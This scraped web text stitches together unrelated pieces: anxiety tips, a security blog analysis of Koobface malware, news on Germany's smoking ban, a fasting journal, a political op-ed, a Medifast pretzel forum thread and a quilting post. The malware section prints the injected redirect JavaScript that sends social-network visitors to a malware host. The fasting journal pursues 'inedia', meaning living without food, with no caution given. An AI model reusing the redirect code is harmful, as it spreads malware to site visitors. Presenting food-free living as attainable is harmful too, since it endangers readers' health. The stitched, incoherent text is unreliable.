"A lot of times people, when they take friends with them, when they have a group of people who are enjoying (a gathering), they get less anxious. When they are alone, they get more anxious," Shah said.
Focus on the reason you're there
For example, sporting events can be an easy way to focus on something other than the anxiety.
"If you focus on the game as opposed to the crowd, that may relax you. So, focus on the game itself and person who you're comfortable with, as opposed to the surroundings," Shah said.
Start small
Shah warned that if you classify your anxiety as severe, start small.
"I would like them to do these things systemically, as opposed to just jump onto this mega event," he said. "Doing those things systemically, would make more sense," Shah said.
He said this is not a time to "face your fears," because even if you want to leave, the environment may not lend itself to an easy and quick departure.
Wait for crowds to disperse
Traffic makes it hard to leave quickly, but at some events everyone is leaving at once: like sporting events, concerts or the rodeo.
Shah said if you can, try to wait until the crowds are gone. Even though it means staying in the environment longer, it might be easier to have a clear path out at the end.
Know what relaxes you
Shah said soft music-- not rock music-- tends to help soothe a lot of people.
For others, reading a book works.
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One social networking website that probably tops the list of sites used as attack vectors is Facebook.
Here's a screenshot of a spoofed Facebook website:
We are presented by a fake codec alert and unsuspecting users usually download and install the Koobface malware:
We have seen koobface being hosted on
kukuruku-290709(dot)com, but thanks to the all good guys out there this site has been taken down. But the bad guys have responded and are now using legitimate domains and redirections to serve koobface. We have seen a small patch of code on websites used in the redirection:
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script src ="4fc . js" // edited
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The strings are random, and so are the names of the javascript files being executed.
Here's what the javascript file has to offer:
var abc1 = 'http://kukuruku-290709.com/go/';
var abc2 = 'http://kukuruku-290709.com/go/';
var ss = '' + location.search;
if ((location.search).length>0) abc = abc1; else abc = abc2;
var redirects = [
['facebook.com', abc+'fb.php'],
['tagged.com', abc+'tg.php'],
['myspace.com', abc+'ms.php'],
['msplinks.com', abc+'ms.php'],
['fubar.com', abc+'fu.php'],
['twitter.com', abc+'tw.php'],
['hi5.com', abc+'hi5.php'],
['bebo.com', abc+'be.php']
var s = '' + document.referrer, r = false;
for (var i = 0; i 0) redir=redir+'&domain='+location.host; else redir=redir+'?domain='+location.host;
location.href = redir;
r = true;
if (!r) location.href = abc+'index.php'+ location.search;
Since the domain
kukuruku-290709(dot)com has been brought down already, we'll soon most likely see new ones emerge to host koobface.
One of the payloads of koobface is downloading other malware, and currently it is serving the fake AV called System Security.
A few weeks prior to today, there has been a lot of buzz about Facebook's Farm Town app serving up Rogue AVs. And recently Facebook is once-again associated with Rogue AVs. Clearly, the bad guys behind these attacks are tyring to make quick bucks by promoting scareware. And of course by using techniques such as Social Engineering , malware and scareware spread rather quickly and easily, because attackers can hide behind the names of even the people we trust.
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Earlier in Berlin underground railway stations people could smoke. And even in hospitals patients could smoke in special rooms. Since the 1st of September in Germany the law about second hand smoking has been put into force. Thus, this country is the last one affiliated with the antismoking campaign, which has started in EU.
Last week, anxiety was not observed on stations. But taxi drivers are outraged. The chairman of taxi drivers union in Berlin Detlef Freutel is displeased. He said that very often they take many drunken passengers who want to smoke in taxi during the way.
Now smoking is forbidden in public establishments of Germany. However, each land from 17 federal lands fixes its list of community offices. In Baden Wurttemberg and Lower Saxony smoking ban is applied to schools, hospitals, departments and restaurants, though in Stuttgart one can find restaurants for smokers.
People who smoke sporadically will suffer from the law more. It will be difficult to pubs hunters, who smoke by the principle I smoke when I drink. Builder Gunter claimed that it is insane to drink beer and not to have right to smoke a cigarette. He supposes that it would not last for long.
The visitors of the famous Oktoberfest in Munich will have opportunity to smoke in traditional beer states.Free State of Bavaria managed to gain allowance in contravention of law.


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Well we can't believe that it's already the 10th of January and that the New Year has well and truly started! In today's blog, we thought it would be a good idea to have a think about resolutions and all.
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My path to Inedia来源:净心之旅 更新日期: 2017-2-12 浏览次数: 653 字号选择:大 中 小
Hello people!
My name is Adam. My intention is to become an inediate. I will use this introduction thread to journal my process toward this goal.
My approach is based on intermittent fasting, with progressively longer fasts. I am a vegetarian but not vegan. During my eating windows I allow myself to eat as much as I want. During my fasts I drink coffee, tea and other beverages with "practically no calories". My initial goal is to become food free (only consuming water).
What have I done so far?
About 1.5 years ago I started experimenting with intermittent fasting. I started by doing daily 12-hour fasts. The next step was to establish a pattern of eating every other day, i.e. doing a 24-hour fast on every 48-hour period. In the beginning it was a bit sporadic, but since june 24 of this year I have been following a strict schedule of every-other-day fasting.
Then on august 9 I began increasing the length of the fasts by 1 hour per fast. So for aug 9-10 I fasted 25 hours out of 48, for aug 11-12 I fasted 26 hours out of 48, and so on until my last completed fast for sep 10-11 which lasted 41 hours. My current fast (for today and tomorrow) started this morning and is scheduled to last for 42 hours.
So far, this has been a smooth ride. The gradual approach seems to work very well for me.
The immediate plan is to continue increasing the fasting lengths, 1 hour at a time, until I reach 47 hours out of 48 for september 22-23.
Then for the next phase I will step up the cycle length from 48 hours to 72 hours (from 2 to 3 days), so that the following fast (for sept 24-26) will last 48 hours out of 72, i.e. 2 days out of 3. I will then continue to gradually increase the fasting lengths until reaching 71h/72, at which point I will step up the cycle length again from 72h to 96h, i.e. fasting 3 days out of 4. When I have reached that point I will have a clearer view on how to proceed.
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Last week had to be a little traumatic for poor Steve Shine and the Republicans. After all, he and his buddies felt so threatened by our Democratic convention that they sprang for $10,000 worth of air time to try to remind someone – not sure who – how awful the years of Democratic leadership had been.
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But, the commercial wasn't the only form of sour grapes spit out by the Republicans. A truck with a large sign paraded through the streets to remind everyone that this was "Republican Country." The really sad thing is that Shine and his followers are so shallow that they just had to figure out some way to demonize this convention. Never mind that this convention was extremely good for Fort Wayne and brought in around $500,000 to our economy and led to greater exposure of northeastern Indiana, which often gets left sitting on the sidelines. Democrat, Republican, or independent, this is our City. Our visitors were very impressed with all the attractions and the amenities we have.
I suspect some of the sour grapes and childish activity was triggered by the impotency of Steve Shine and the Republicans to accomplish what was a major feat – bringing a state party convention to Fort Wayne for the first time in its history. After all, does anyone remember when the Republican convention was here. Anyone??


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Finally a topic that is both new and exciting!..
Clearly not as important as the disasterous new Honey Mustard recipe -IMHO.....
Somebody should count the number of threads created on them. I bet there are over 20...
....thank goodness I didn't order the honey mustard pretzels then!.
I just called medifast to voice my opinion on their new pretzel recipe. I told them I wouldn't have ordered them if I knew they changed. They told me it was posted all over the place. I heard of the change from this board.....AFTER I ordered them but before I received them. Anybody who loved the pretzels before and is placing another order....be warned, you probably won't like them! (so don't go crazy ordering alot of boxes of them)..
I loved the pretzels before and like these. Everyone has different tastes/likes/dislikes...
I have no issues with the pretzels. They're portable. They don't melt in the glove box, They crunch. The have flavor. They are a meal. It's just food..
But then I love the oatmeal, so go figure..
Eagle please count them. Right up your alley..
Freya: you just made me laugh outloud...
I ate the old pretzels. I like the new ones better. Everyone's tastes are different, and change over time on this diet. So people probably need to try for themselves, you know?.
Also, really? There are new pretzels? And some people don't like them?..
Yes, everybody has different likes/dislikes....just want to warn people that they may not like them. Cinnamon pretzels being my favorite, I tend to order large quantities. Just don't want someone to order alot and 'be surprised'..
There is an upside to the gross cinnamon pretzels.....i opened the bag an hour ago and still have half left! Lots of coffee and water to wash the taste down!.
(BTW...I am not a picky eater at all. I have my favorites, but I can stomach just about all of it. Cappucino & Chai latte.....those are the only one's I absolutely can't tolerate...but I know they are favorite's for some)..
If everyone has different likes and dislikes, what service are you doing by "warning them they are bad so you wont like them (opinion)", though?.
I think sound advice would be: If you are not sure what to expect, order a trial or a small amount of them. But assuming people wont like them because you dont is a bit over the top...
After reading all the boards about the pretzel change, I ordered one bag of cinnamon and one bag of honey mustard - then I'll judge for myself and start a NEW THREAD about how I either hate them or still love them... LOLOL.
By the way, I dd the same thing with the Chai Latte. Everyone warned, you won't like it, you won't like it. I ordered one packet, and I loved it, it wasn't bad, so then I ordered a box!!.
I guess I don't mind the warnings. I'm a little more cautious, order one packet then get a box in the next shipment if I LIKE THEM..
We all have our own tastes. I always hesitate when someone says "I'm new..what should I order"? What I love, you may hate. What you hate, I may love. People tend to speak more freely when they don't like something. I wonder how many people like the new and improved?..
You know what? They may LOVE them! I didn't like the old pretzels. I think they were a conspiracy to keep dentists in business during the recession by causing Medifast members to break off all their teeth! Your opinion and likes are yours and no one should be "WARNING" anyone about what they probably won't like because you don't..
Eagle - I agree. Do a count on the number of threads. I think it's more than 20!..
Just for the heck of it, I did a search for pretzels. It pulled up 500 comments. I have a feeling 500 is the max you can pull up, so I'll bet there are more...
31 threads with "pretzel*" in the title created in the last 3 months. Interestingly enough, 2 of the 31 were about the old pretzels; one person who found a hair in there, and another who complained they tasted moldy...
Oh and the thread titles:.
My 2 cents on the new cinnamon pretzels.....
New and improved Medifast Pretzel Sticks!.
I thought everyone was being dramatic about the pretzels.
New Pretzels.
Horrid New Pretzels.
New Pretzels ? I am Confused.
My own take on the "New" Pretzels.
MF Breadsticks and Medifast Pretzels.
Yucky new pretzel sticks!!!.
Just received new pretzels.
New pretzels softer or less crunchy?.
A Turkey/Stuffing/Cranberry Sauce Pretzel or Puffs?.
New cinnamon pretzels.
Honey Mustard Pretzels Awful New Recipe!!!.
Love the Pretzels.
Picture of new pretzels.
Extra large bag of cinnamon sugar pretzels.
I LOVE the new pretzels!!!!!!!!!!!!.
New Pretzels.
The New Pretzels...
Poll: New pretzels not loving them...
New Medifast Pretzels??.
New Cinnamon Pretzels.
New Pretzels???????.
New and improved Pretzels.
Just had the Mustard pretzel sticks for the first time.
Cinnamon Pretzel Sticks.
My new box of cinnamon pretzel sticks tastes exactly like Cinnamon Toast Crunch.
Moldy Pretzels.
Hair in pretzel..
Yeah, I saw the one about the hair. I think I will start a thread about the old pretzels. Orrr..I will ask Nor to do it.
What does "Make is so." mean?..
Haha, we are twins. I was almost beginning to feel like I should start a thread for people who just don't care that much about the new pretzels either way, other than being glad they're still a nice portable item. We are under-represented!.
Honestly, I've been more impressed with the Medifast food than I thought, but there's not much I would actually be seriously disappointed about if they changed or axed a few of my favorites...
Maybe looking at the stages of grief will help folks cope with the loss of the old pretzels..
Denial: "These can't be the new pretzels! I'll try another bag to be sure. Maybe I got a bad batch!".
Pain & Guilt: "Wow these are terrible! If only I had told Medifast how much I appreciated the old pretzels maybe this wouldn't be happening. I should have eaten more of the old pretzels, alas!".
Anger & Bargaining: "I'm starting five threads about how awful these pretzels are! Maybe if I call Medifast they will sell me a carton of the old pretzels from their secret warehouse.".
Depression: "I miss the old pretzels so much...our rides in the car together, that time I spilled them at the movie theater and spent an hour crawling around searching for them...Medifast will never be the same...".
Acceptance & Hope: "I'll just eat the cheese puffs instead.".
I do agree though - not a huge fan of the new pretzels!..
OMG... to a couple of the posters. I was just giving you MY 2 cents on the new pretzels. If you guys don't like other peoples 'opinions', then don't read them. The 'warning' was to be helpful. I know I wouldn't want to waste the money on alot of these.
I shall keep my opinions to myself from now on...
I think they leave a nasty taste in your mouth. Traded mine for something else!..
I posted a few weeks ago on one of the "hating" pretzels threads. I had only ordered one box of the new cinnamon pretzels, had only tried 1-2 bags, and thought they were yucky.
Fast-forward.I've gotten through the entire box.and I absolutely LOVE them now! My next order arrives Monday, and I have four boxes coming! No, the new ones are not at all like the older ones (that I, too, loved), but the taste kind of "grows on ya!" Ewww.that sounds like a fungus or something.nope! They are good in their own way...
West, it is so weird that it happens that way with Medifast a lot. I didn't like the oatmeal..then I appreciated it because it was so filling..now I love it. Love it!!..
Did you by any chance count to see how many like vs dislike?? Just curious. I've been away from the discussion boards for quite a while and am too lazy to go back and read all the posts!..
Id bet that 99% of them had posts of people saying they disliked them...
People typically don't like change. I'm sure I'd squawk if they changed the brownies and I also think people tend to be more verbal about stuff they don't like. Just ask me about the strawberry shakes...
Dear MF,.
Please don't add wheat containing products to the strawberry shakes.
Thank you..
Seriously, you totally need a sense of humor with food allergies.
Once a week, I get a chicken kabob salad with romaine lettuce, no carrots or pita..
Tonight I had an interesting exchange with the owner:.
Him: What do you mean no pita...you've lost enough weight. You can have pita..
Me: I'm allergic to wheat..
Him: This isn't wheat pita, it is white pita.....


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The Timmons Arts Foundation has a history of serving the community by supporting at-risk youth. Our efforts have been displayed through giving platforms for artists to showcase their talents at expos, hosting a Back to School Kids Fair for inner city kids, and donating money as well as instruments to local elementary schools. In an effort to continue our mission of impacting the community, we are hosting the Cultivating the Arts Youth Summer Camp. This summer camp will aid our young people in developing in areas of creative self-expression, self-definition, physical activity, and positive social action.
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Block # 7 – Flower Girl for Glaucia
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This is number seven of the eight blocks I have made so far for the Around the World Quilting Bee. I had to do a bit of a size adjustment. I had a slightly different plan for this block when I thought it was a 12 inch block.
I am sure I broke some quilting rule by adding a border to only two edges instead of all four, but too bad. It doesn't look very lopsided since the yellow points come out farther. This was the third time I had tried to put the outer border on it, and I had had just about enough.
The rest of the block went together very nicely. Even the points that are dimensional. The two big ones and the three small ones are similar to prairie points. You fold a square into quarters and then tuck the raw edges into the seams. It was kind of fun to play with.
This one is off in the mail today as well. Perhaps now I can get the kitchen curtains done, and then back to my Storm at Sea project, or some house cleaning – ugh!